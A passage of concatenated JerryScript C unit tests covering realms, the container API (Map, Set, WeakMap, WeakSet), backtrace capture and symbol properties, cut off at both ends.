old_realm_value = jerry_set_realm (target_value); TEST_ASSERT (!jerry_value_is_error (old_realm_value)); script_p = "var z = 1.5"; result_value = jerry_eval ((const jerry_char_t *) script_p, strlen (script_p), JERRY_PARSE_NO_OPTS); jerry_set_realm (old_realm_value); jerry_release_value (target_value); TEST_ASSERT (jerry_value_is_error (result_value)); result_value = jerry_get_value_from_error (result_value, true); TEST_ASSERT (jerry_value_is_number (result_value) && jerry_get_number_value (result_value) == 42.5); jerry_release_value (result_value); } realm_value = jerry_create_realm (); result_value = jerry_set_realm (realm_value); TEST_ASSERT (!jerry_value_is_error (result_value)); const char *script_p = "global2 = global1 - 1; Object.getPrototypeOf([])"; jerry_value_t script_value = jerry_parse ((const jerry_char_t *) script_p, strlen (script_p), NULL); TEST_ASSERT (!jerry_value_is_error (script_value)); jerry_set_realm (result_value); /* Script is compiled in another realm. */ create_number_property (realm_value, "global1", 7.5); result_value = jerry_run (script_value); TEST_ASSERT (!jerry_value_is_error (result_value)); check_array_prototype (realm_value, result_value); jerry_release_value (result_value); jerry_release_value (script_value); TEST_ASSERT (get_number_property (realm_value, "global2") == 6.5); jerry_release_value (realm_value); jerry_cleanup (); return 0; } /* main */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "jerryscript.h" #include "test-common.h" int main (void) { jerry_init (JERRY_INIT_EMPTY); if (!jerry_is_feature_enabled (JERRY_FEATURE_MAP) || !jerry_is_feature_enabled (JERRY_FEATURE_SET) || !jerry_is_feature_enabled (JERRY_FEATURE_WEAKMAP) || !jerry_is_feature_enabled (JERRY_FEATURE_WEAKSET)) { jerry_port_log (JERRY_LOG_LEVEL_ERROR, "Containers are disabled!\n"); jerry_cleanup (); return 0; } // Map container tests jerry_value_t map = jerry_create_container (JERRY_CONTAINER_TYPE_MAP, NULL, 0); TEST_ASSERT (jerry_get_container_type (map) == JERRY_CONTAINER_TYPE_MAP); jerry_value_t key_str = jerry_create_string ((jerry_char_t *) "number"); jerry_value_t number = jerry_create_number (10); jerry_value_t args[2] = {key_str, number}; jerry_value_t result = jerry_container_operation (JERRY_CONTAINER_OP_SET, map, args, 2); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_GET, map, &key_str, 1); TEST_ASSERT (jerry_get_number_value (result) == 10); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_HAS, map, &key_str, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, map, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 1); jerry_release_value (result); key_str = jerry_create_string ((jerry_char_t *) "number2"); number = jerry_create_number (11); jerry_value_t args2[2] = {key_str, number}; result = jerry_container_operation (JERRY_CONTAINER_OP_SET, map, args2, 2); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, map, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 2); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_DELETE, map, &key_str, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, map, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 1); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_CLEAR, map, NULL, 0); TEST_ASSERT (jerry_value_is_undefined (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, map, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 0); jerry_release_value (result); // Set container tests number = jerry_create_number (10); jerry_value_t set = jerry_create_container (JERRY_CONTAINER_TYPE_SET, NULL, 0); TEST_ASSERT (jerry_get_container_type (set) == JERRY_CONTAINER_TYPE_SET); result = jerry_container_operation (JERRY_CONTAINER_OP_ADD, set, &number, 1); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_HAS, set, &number, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, set, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 1); jerry_release_value (result); number = jerry_create_number (11); result = jerry_container_operation (JERRY_CONTAINER_OP_ADD, set, &number, 1); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, set, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 2); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_DELETE, set, &number, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, set, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 1); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_CLEAR, set, NULL, 0); TEST_ASSERT (jerry_value_is_undefined (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_SIZE, set, NULL, 0); TEST_ASSERT (jerry_get_number_value (result) == 0); jerry_release_value (result); jerry_release_value (set); // WeakMap contanier tests number = jerry_create_number (10); jerry_value_t weak_map = jerry_create_container (JERRY_CONTAINER_TYPE_WEAKMAP, NULL, 0); TEST_ASSERT (jerry_get_container_type (weak_map) == JERRY_CONTAINER_TYPE_WEAKMAP); jerry_value_t obj = jerry_create_object (); number = jerry_create_number (10); jerry_value_t args4[2] = {obj, number}; result = jerry_container_operation (JERRY_CONTAINER_OP_SET, weak_map, args4, 2); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_HAS, weak_map, &obj, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_DELETE, weak_map, &obj, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); jerry_release_value (weak_map); // WeakSet contanier tests, jerry_value_t weak_set = jerry_create_container (JERRY_CONTAINER_TYPE_WEAKSET, NULL, 0); TEST_ASSERT (jerry_get_container_type (weak_set) == JERRY_CONTAINER_TYPE_WEAKSET); result = jerry_container_operation (JERRY_CONTAINER_OP_ADD, weak_set, &obj, 1); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_HAS, weak_set, &obj, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); result = jerry_container_operation (JERRY_CONTAINER_OP_DELETE, weak_set, &obj, 1); TEST_ASSERT (jerry_value_is_true (result)); jerry_release_value (result); jerry_release_value (weak_set); // container is not a object jerry_value_t empty_val = jerry_create_undefined (); result = jerry_container_operation (JERRY_CONTAINER_OP_SET, empty_val, args, 2); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); // arguments is a error const char * const error_message_p = "Random error."; jerry_value_t error_val = jerry_create_error (JERRY_ERROR_RANGE, (const jerry_char_t *) error_message_p); jerry_value_t args3[2] = { error_val, error_val }; result = jerry_container_operation (JERRY_CONTAINER_OP_SET, map, args3, 2); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); jerry_release_value (error_val); jerry_release_value (map); jerry_release_value (key_str); jerry_release_value (number); jerry_release_value (obj); jerry_cleanup (); return 0; } /* main */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "config.h" #include "jerryscript.h" #include "test-common.h" static jerry_value_t backtrace_handler (const jerry_call_info_t *call_info_p, /**< call information */ const jerry_value_t args_p[], /**< argument list */ const jerry_length_t args_count) /**< argument count */ { JERRY_UNUSED (call_info_p); uint32_t max_depth = 0; if (args_count >= 1 && jerry_value_is_number (args_p[0])) { max_depth = (uint32_t) jerry_get_number_value (args_p[0]); } return jerry_get_backtrace (max_depth); } /* backtrace_handler */ static void compare_string (jerry_value_t left_value, /* string value */ const char *right_p) /* string to compare */ { jerry_char_t buffer[64]; size_t length = strlen (right_p); TEST_ASSERT (length <= sizeof (buffer)); TEST_ASSERT (jerry_value_is_string (left_value)); TEST_ASSERT (jerry_get_string_size (left_value) == length); TEST_ASSERT (jerry_string_to_char_buffer (left_value, buffer, sizeof (buffer)) == length); TEST_ASSERT (memcmp (buffer, right_p, length) == 0); } /* compare_string */ static const jerry_value_t *handler_args_p; static int frame_index; static bool backtrace_callback (jerry_backtrace_frame_t *frame_p, /* frame information */ void *user_p) /* user data */ { TEST_ASSERT ((void *) handler_args_p == user_p); TEST_ASSERT (jerry_backtrace_get_frame_type (frame_p) == JERRY_BACKTRACE_FRAME_JS); const jerry_backtrace_location_t *location_p = jerry_backtrace_get_location (frame_p); const jerry_value_t *function_p = jerry_backtrace_get_function (frame_p); const jerry_value_t *this_p = jerry_backtrace_get_this (frame_p); TEST_ASSERT (location_p != NULL); TEST_ASSERT (function_p != NULL); TEST_ASSERT (this_p != NULL); compare_string (location_p->resource_name, "capture_test.js"); ++frame_index; if (frame_index == 1) { TEST_ASSERT (!jerry_backtrace_is_strict (frame_p)); TEST_ASSERT (location_p->line == 2); TEST_ASSERT (location_p->column == 3); TEST_ASSERT (handler_args_p[0] == *function_p); TEST_ASSERT (handler_args_p[1] == *this_p); return true; } if (frame_index == 2) { TEST_ASSERT (jerry_backtrace_is_strict (frame_p)); TEST_ASSERT (location_p->line == 7); TEST_ASSERT (location_p->column == 6); TEST_ASSERT (handler_args_p[2] == *function_p); TEST_ASSERT (jerry_value_is_undefined (*this_p)); return true; } jerry_value_t global = jerry_get_global_object (); TEST_ASSERT (frame_index == 3); TEST_ASSERT (!jerry_backtrace_is_strict (frame_p)); TEST_ASSERT (location_p->line == 11); TEST_ASSERT (location_p->column == 3); TEST_ASSERT (handler_args_p[3] == *function_p); TEST_ASSERT (global == *this_p); jerry_release_value (global); return false; } /* backtrace_callback */ static bool async_backtrace_callback (jerry_backtrace_frame_t *frame_p, /* frame information */ void *user_p) /* user data */ { TEST_ASSERT ((void *) handler_args_p == user_p); TEST_ASSERT (jerry_backtrace_get_frame_type (frame_p) == JERRY_BACKTRACE_FRAME_JS); const jerry_backtrace_location_t *location_p = jerry_backtrace_get_location (frame_p); const jerry_value_t *function_p = jerry_backtrace_get_function (frame_p); TEST_ASSERT (location_p != NULL); TEST_ASSERT (function_p != NULL); compare_string (location_p->resource_name, "async_capture_test.js"); ++frame_index; if (frame_index == 1) { TEST_ASSERT (jerry_backtrace_is_strict (frame_p)); TEST_ASSERT (location_p->line == 3); TEST_ASSERT (location_p->column == 3); TEST_ASSERT (handler_args_p[0] == *function_p); return true; } TEST_ASSERT (frame_index == 2); TEST_ASSERT (!jerry_backtrace_is_strict (frame_p)); TEST_ASSERT (location_p->line == 8); TEST_ASSERT (location_p->column == 3); TEST_ASSERT (handler_args_p[1] == *function_p); return true; } /* async_backtrace_callback */ static bool class_backtrace_callback (jerry_backtrace_frame_t *frame_p, /* frame information */ void *user_p) /* user data */ { TEST_ASSERT ((void *) handler_args_p == user_p); TEST_ASSERT (jerry_backtrace_get_frame_type (frame_p) == JERRY_BACKTRACE_FRAME_JS); const jerry_backtrace_location_t *location_p = jerry_backtrace_get_location (frame_p); const jerry_value_t *function_p = jerry_backtrace_get_function (frame_p); TEST_ASSERT (location_p != NULL); TEST_ASSERT (function_p != NULL); compare_string (location_p->resource_name, "class_capture_test.js"); ++frame_index; if (frame_index == 1) { TEST_ASSERT (jerry_backtrace_is_strict (frame_p)); TEST_ASSERT (location_p->line == 3); TEST_ASSERT (location_p->column == 14); return false; } TEST_ASSERT (frame_index == 2); TEST_ASSERT (jerry_backtrace_is_strict (frame_p)); TEST_ASSERT (location_p->line == 2); TEST_ASSERT (location_p->column == 7); return false; } /* class_backtrace_callback */ static jerry_value_t capture_handler (const jerry_call_info_t *call_info_p, /**< call information */ const jerry_value_t args_p[], /**< argument list */ const jerry_length_t args_count) /**< argument count */ { JERRY_UNUSED (call_info_p); TEST_ASSERT (args_count == 0 || args_count == 2 || args_count == 4); TEST_ASSERT (args_count == 0 || frame_index == 0); jerry_backtrace_callback_t callback = backtrace_callback; if (args_count == 0) { callback = class_backtrace_callback; } else if (args_count == 2) { callback = async_backtrace_callback; } handler_args_p = args_p; jerry_backtrace_capture (callback, (void *) args_p); TEST_ASSERT (args_count == 0 || frame_index == (args_count == 4 ? 3 : 2)); return jerry_create_undefined (); } /* capture_handler */ static bool global_backtrace_callback (jerry_backtrace_frame_t *frame_p, /* frame information */ void *user_p) /* user data */ { TEST_ASSERT (user_p != NULL && frame_index == 0); frame_index++; const jerry_value_t *function_p = jerry_backtrace_get_function (frame_p); jerry_value_t *result_p = ((jerry_value_t *) user_p); TEST_ASSERT (function_p != NULL); jerry_release_value (*result_p); *result_p = jerry_acquire_value (*function_p); return true; } /* global_backtrace_callback */ static jerry_value_t global_capture_handler (const jerry_call_info_t *call_info_p, /**< call information */ const jerry_value_t args_p[], /**< argument list */ const jerry_length_t args_count) /**< argument count */ { JERRY_UNUSED (call_info_p); JERRY_UNUSED (args_p); JERRY_UNUSED (args_count); jerry_value_t result = jerry_create_undefined (); jerry_backtrace_capture (global_backtrace_callback, &result); TEST_ASSERT (jerry_value_is_object (result)); return result; } /* global_capture_handler */ static void register_callback (jerry_external_handler_t handler_p, /**< callback function */ char *name_p) /**< name of the function */ { jerry_value_t global = jerry_get_global_object (); jerry_value_t func = jerry_create_external_function (handler_p); jerry_value_t name = jerry_create_string ((const jerry_char_t *) name_p); jerry_value_t result = jerry_set_property (global, name, func); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); jerry_release_value (name); jerry_release_value (func); jerry_release_value (global); } /* register_callback */ static jerry_value_t run (const char *resource_name_p, /**< resource name */ const char *source_p) /**< source code */ { jerry_parse_options_t parse_options; parse_options.options = JERRY_PARSE_HAS_RESOURCE; parse_options.resource_name = jerry_create_string ((const jerry_char_t *) resource_name_p); jerry_value_t code = jerry_parse ((const jerry_char_t *) source_p, strlen (source_p), &parse_options); jerry_release_value (parse_options.resource_name); TEST_ASSERT (!jerry_value_is_error (code)); jerry_value_t result = jerry_run (code); jerry_release_value (code); return result; } /* run */ static void compare (jerry_value_t array, /**< array */ uint32_t index, /**< item index */ const char *str) /**< string to compare */ { jerry_char_t buf[64]; size_t len = strlen (str); TEST_ASSERT (len < sizeof (buf)); jerry_value_t value = jerry_get_property_by_index (array, index); TEST_ASSERT (!jerry_value_is_error (value) && jerry_value_is_string (value)); TEST_ASSERT (jerry_get_string_size (value) == len); jerry_size_t str_len = jerry_string_to_char_buffer (value, buf, (jerry_size_t) len); TEST_ASSERT (str_len == len); jerry_release_value (value); TEST_ASSERT (memcmp (buf, str, len) == 0); } /* compare */ static void test_get_backtrace_api_call (void) { jerry_init (JERRY_INIT_EMPTY); register_callback (backtrace_handler, "backtrace"); register_callback (capture_handler, "capture"); const char *source_p = ("function f() {\n" " return backtrace(0);\n" "}\n" "\n" "function g() {\n" " return f();\n" "}\n" "\n" "function h() {\n" " return g();\n" "}\n" "\n" "h();\n"); jerry_value_t backtrace = run ("something.js", source_p); TEST_ASSERT (!jerry_value_is_error (backtrace) && jerry_value_is_array (backtrace)); TEST_ASSERT (jerry_get_array_length (backtrace) == 4); compare (backtrace, 0, "something.js:2:3"); compare (backtrace, 1, "something.js:6:3"); compare (backtrace, 2, "something.js:10:3"); compare (backtrace, 3, "something.js:13:1"); jerry_release_value (backtrace); /* Depth set to 2 this time. */ source_p = ("function f() {\n" " 1; return backtrace(2);\n" "}\n" "\n" "function g() {\n" " return f();\n" "}\n" "\n" "function h() {\n" " return g();\n" "}\n" "\n" "h();\n"); backtrace = run ("something_else.js", source_p); TEST_ASSERT (!jerry_value_is_error (backtrace) && jerry_value_is_array (backtrace)); TEST_ASSERT (jerry_get_array_length (backtrace) == 2); compare (backtrace, 0, "something_else.js:2:6"); compare (backtrace, 1, "something_else.js:6:3"); jerry_release_value (backtrace); /* Test frame capturing. */ frame_index = 0; source_p = ("var o = { f:function() {\n" " return capture(o.f, o, g, h);\n" "} }\n" "\n" "function g() {\n" " 'use strict';\n" " 1; return o.f();\n" "}\n" "\n" "function h() {\n" " return g();\n" "}\n" "\n" "h();\n"); jerry_value_t result = run ("capture_test.js", source_p); TEST_ASSERT (jerry_value_is_undefined (result)); jerry_release_value (result); TEST_ASSERT (frame_index == 3); /* Test async frame capturing. */ source_p = "async function f() {}"; result = jerry_eval ((const jerry_char_t *) source_p, strlen (source_p), JERRY_PARSE_NO_OPTS); if (!jerry_value_is_error (result)) { jerry_release_value (result); frame_index = 0; source_p = ("function f() {\n" " 'use strict';\n" " return capture(f, g);\n" "}\n" "\n" "async function g() {\n" " await 0;\n" " return f();\n" "}\n" "\n" "g();\n"); result = run ("async_capture_test.js", source_p); TEST_ASSERT (jerry_value_is_promise (result)); jerry_release_value (result); TEST_ASSERT (frame_index == 0); result = jerry_run_all_enqueued_jobs (); TEST_ASSERT (!jerry_value_is_error (result)); TEST_ASSERT (frame_index == 2); } else { TEST_ASSERT (jerry_get_error_type (result) == JERRY_ERROR_SYNTAX); } jerry_release_value (result); /* Test class initializer frame capturing. */ source_p = "class C {}"; result = jerry_eval ((const jerry_char_t *) source_p, strlen (source_p), JERRY_PARSE_NO_OPTS); if (!jerry_value_is_error (result)) { jerry_release_value (result); frame_index = 0; source_p = ("class C {\n" " a = capture();\n" " static b = capture();\n" "}\n" "new C;\n"); result = run ("class_capture_test.js", source_p); TEST_ASSERT (!jerry_value_is_error (result)); TEST_ASSERT (frame_index == 2); } else { TEST_ASSERT (jerry_get_error_type (result) == JERRY_ERROR_SYNTAX); } jerry_release_value (result); register_callback (global_capture_handler, "global_capture"); frame_index = 0; source_p = "global_capture()"; jerry_value_t code = jerry_parse ((const jerry_char_t *) source_p, strlen (source_p), NULL); TEST_ASSERT (!jerry_value_is_error (code)); result = jerry_run (code); jerry_value_t compare_value = jerry_binary_operation (JERRY_BIN_OP_STRICT_EQUAL, result, code); TEST_ASSERT (jerry_value_is_true (compare_value)); jerry_release_value (compare_value); jerry_release_value (result); jerry_release_value (code); jerry_cleanup (); } /* test_get_backtrace_api_call */ static void test_exception_backtrace (void) { jerry_init (JERRY_INIT_EMPTY); const char *source = ("function f() {\n" " undef_reference;\n" "}\n" "\n" "function g() {\n" " return f();\n" "}\n" "\n" "g();\n"); jerry_value_t error = run ("bad.js", source); TEST_ASSERT (jerry_value_is_error (error)); error = jerry_get_value_from_error (error, true); TEST_ASSERT (jerry_value_is_object (error)); jerry_value_t name = jerry_create_string ((const jerry_char_t *) "stack"); jerry_value_t backtrace = jerry_get_property (error, name); jerry_release_value (name); jerry_release_value (error); TEST_ASSERT (!jerry_value_is_error (backtrace) && jerry_value_is_array (backtrace)); TEST_ASSERT (jerry_get_array_length (backtrace) == 3); compare (backtrace, 0, "bad.js:2:3"); compare (backtrace, 1, "bad.js:6:3"); compare (backtrace, 2, "bad.js:9:1"); jerry_release_value (backtrace); jerry_cleanup (); } /* test_exception_backtrace */ static void test_large_line_count (void) { jerry_init (JERRY_INIT_EMPTY); const char *source = ("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" "g();\n"); jerry_value_t error = run ("bad.js", source); TEST_ASSERT (jerry_value_is_error (error)); error = jerry_get_value_from_error (error, true); TEST_ASSERT (jerry_value_is_object (error)); jerry_value_t name = jerry_create_string ((const jerry_char_t *) "stack"); jerry_value_t backtrace = jerry_get_property (error, name); jerry_release_value (name); jerry_release_value (error); TEST_ASSERT (!jerry_value_is_error (backtrace) && jerry_value_is_array (backtrace)); TEST_ASSERT (jerry_get_array_length (backtrace) == 1); compare (backtrace, 0, "bad.js:385:1"); jerry_release_value (backtrace); jerry_cleanup (); } /* test_large_line_count */ int main (void) { TEST_INIT (); TEST_ASSERT (jerry_is_feature_enabled (JERRY_FEATURE_LINE_INFO)); test_get_backtrace_api_call (); test_exception_backtrace (); test_large_line_count (); return 0; } /* main */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "jerryscript.h" #include "jerryscript-port.h" #include "jerryscript-port-default.h" #include "test-common.h" /* foo string */ #define STRING_FOO ((const jerry_char_t *) "foo") /* bar string */ #define STRING_BAR ((const jerry_char_t *) "bar") /* Symbol(bar) desciptive string */ #define SYMBOL_DESCIPTIVE_STRING_BAR "Symbol(bar)" /* bar string desciption */ #define SYMBOL_DESCIPTION_BAR "bar" int main (void) { if (!jerry_is_feature_enabled (JERRY_FEATURE_SYMBOL)) { jerry_port_log (JERRY_LOG_LEVEL_ERROR, "Symbol support is disabled!\n"); return 0; } jerry_init (JERRY_INIT_EMPTY); jerry_value_t object = jerry_create_object (); /* Test for that each symbol is unique independently from their descriptor strings */ jerry_value_t symbol_desc_1 = jerry_create_string (STRING_FOO); jerry_value_t symbol_desc_2 = jerry_create_string (STRING_FOO); jerry_value_t symbol_1 = jerry_create_symbol (symbol_desc_1); TEST_ASSERT (!jerry_value_is_error (symbol_1)); TEST_ASSERT (jerry_value_is_symbol (symbol_1)); jerry_value_t symbol_2 = jerry_create_symbol (symbol_desc_2); TEST_ASSERT (!jerry_value_is_error (symbol_2)); TEST_ASSERT (jerry_value_is_symbol (symbol_2)); /* The descriptor strings are no longer needed */ jerry_release_value (symbol_desc_1); jerry_release_value (symbol_desc_2); jerry_value_t value_1 = jerry_create_number (1); jerry_value_t value_2 = jerry_create_number (2); jerry_value_t result_val = jerry_set_property (object, symbol_1, value_1); TEST_ASSERT (jerry_value_is_boolean (result_val)); TEST_ASSERT (jerry_value_is_true (jerry_has_property (object, symbol_1))); TEST_ASSERT (jerry_value_is_true (jerry_has_own_property (object, symbol_1))); result_val = jerry_set_property (object, symbol_2, value_2); TEST_ASSERT (jerry_value_is_boolean (result_val)); TEST_ASSERT (jerry_value_is_true (jerry_has_property (object, symbol_2))); TEST_ASSERT (jerry_value_is_true (jerry_has_own_property (object, symbol_2))); jerry_value_t get_value_1 = jerry_get_property (object, symbol_1); TEST_ASSERT (jerry_get_number_value (get_value_1) == jerry_get_number_value (value_1)); jerry_release_value (get_value_1); jerry_value_t get_value_2 = jerry_get_property (object, symbol_2); TEST_ASSERT (jerry_get_number_value (get_value_2) == jerry_get_number_value (value_2)); jerry_release_value (get_value_2); /* Test delete / has_{own}_property */ TEST_ASSERT (jerry_delete_property (object, symbol_1)); TEST_ASSERT (!jerry_value_is_true (jerry_has_property (object, symbol_1))); TEST_ASSERT (!jerry_value_is_true (jerry_has_own_property (object, symbol_1))); jerry_release_value (value_1); jerry_release_value (symbol_1); /* Test {get, define}_own_property_descriptor */ jerry_property_descriptor_t prop_desc; TEST_ASSERT (jerry_get_own_property_descriptor (object, symbol_2, &prop_desc)); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_VALUE_DEFINED); TEST_ASSERT (value_2 == prop_desc.value); TEST_ASSERT (jerry_get_number_value (value_2) == jerry_get_number_value (prop_desc.value)); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_WRITABLE); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_ENUMERABLE); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_CONFIGURABLE); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_GET_DEFINED)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.getter)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_SET_DEFINED)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.setter)); jerry_property_descriptor_free (&prop_desc); /* Modify the descriptor fields */ prop_desc = jerry_property_descriptor_create (); jerry_value_t value_3 = jerry_create_string (STRING_BAR); prop_desc.flags |= JERRY_PROP_IS_VALUE_DEFINED | JERRY_PROP_IS_WRITABLE_DEFINED | JERRY_PROP_IS_ENUMERABLE_DEFINED | JERRY_PROP_IS_CONFIGURABLE_DEFINED; prop_desc.value = jerry_acquire_value (value_3); TEST_ASSERT (jerry_value_is_true (jerry_define_own_property (object, symbol_2, &prop_desc))); jerry_property_descriptor_free (&prop_desc); /* Check the modified fields */ TEST_ASSERT (jerry_get_own_property_descriptor (object, symbol_2, &prop_desc)); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_VALUE_DEFINED); TEST_ASSERT (value_3 == prop_desc.value); TEST_ASSERT (jerry_value_is_string (prop_desc.value)); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_WRITABLE_DEFINED); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_WRITABLE)); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_ENUMERABLE_DEFINED); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_ENUMERABLE)); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_CONFIGURABLE_DEFINED); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_CONFIGURABLE)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_GET_DEFINED)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.getter)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_SET_DEFINED)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.setter)); jerry_property_descriptor_free (&prop_desc); jerry_release_value (value_3); jerry_release_value (value_2); jerry_release_value (symbol_2); jerry_release_value (object); /* Test creating symbol with a symbol description */ jerry_value_t empty_symbol_desc = jerry_create_string ((const jerry_char_t *) ""); jerry_value_t empty_symbol = jerry_create_symbol (empty_symbol_desc); TEST_ASSERT (!jerry_value_is_error (empty_symbol)); TEST_ASSERT (jerry_value_is_symbol (empty_symbol)); jerry_release_value (empty_symbol_desc); jerry_value_t symbol_symbol = jerry_create_symbol (empty_symbol); TEST_ASSERT (!jerry_value_is_symbol (symbol_symbol)); TEST_ASSERT (jerry_value_is_error (symbol_symbol)); jerry_value_t error_obj = jerry_get_value_from_error (symbol_symbol, true); TEST_ASSERT (jerry_get_error_type (error_obj) == JERRY_ERROR_TYPE); jerry_release_value (error_obj); jerry_release_value (empty_symbol); /* Test symbol to string operation with symbol argument */ jerry_value_t bar_symbol_desc = jerry_create_string (STRING_BAR); jerry_value_t bar_symbol = jerry_create_symbol (bar_symbol_desc); TEST_ASSERT (!jerry_value_is_error (bar_symbol)); TEST_ASSERT (jerry_value_is_symbol (bar_symbol)); jerry_release_value (bar_symbol_desc); jerry_value_t bar_symbol_string = jerry_get_symbol_descriptive_string (bar_symbol); TEST_ASSERT (jerry_value_is_string (bar_symbol_string)); jerry_size_t bar_symbol_string_size = jerry_get_string_size (bar_symbol_string); TEST_ASSERT (bar_symbol_string_size == (sizeof (SYMBOL_DESCIPTIVE_STRING_BAR) - 1)); JERRY_VLA (jerry_char_t, str_buff, bar_symbol_string_size); jerry_string_to_char_buffer (bar_symbol_string, str_buff, bar_symbol_string_size); TEST_ASSERT (memcmp (str_buff, SYMBOL_DESCIPTIVE_STRING_BAR, sizeof (SYMBOL_DESCIPTIVE_STRING_BAR) - 1) == 0); jerry_release_value (bar_symbol_string); /* Test symbol get description operation with string description */ bar_symbol_string = jerry_get_symbol_description (bar_symbol); TEST_ASSERT (jerry_value_is_string (bar_symbol_string)); bar_symbol_string_size = jerry_get_string_size (bar_symbol_string); TEST_ASSERT 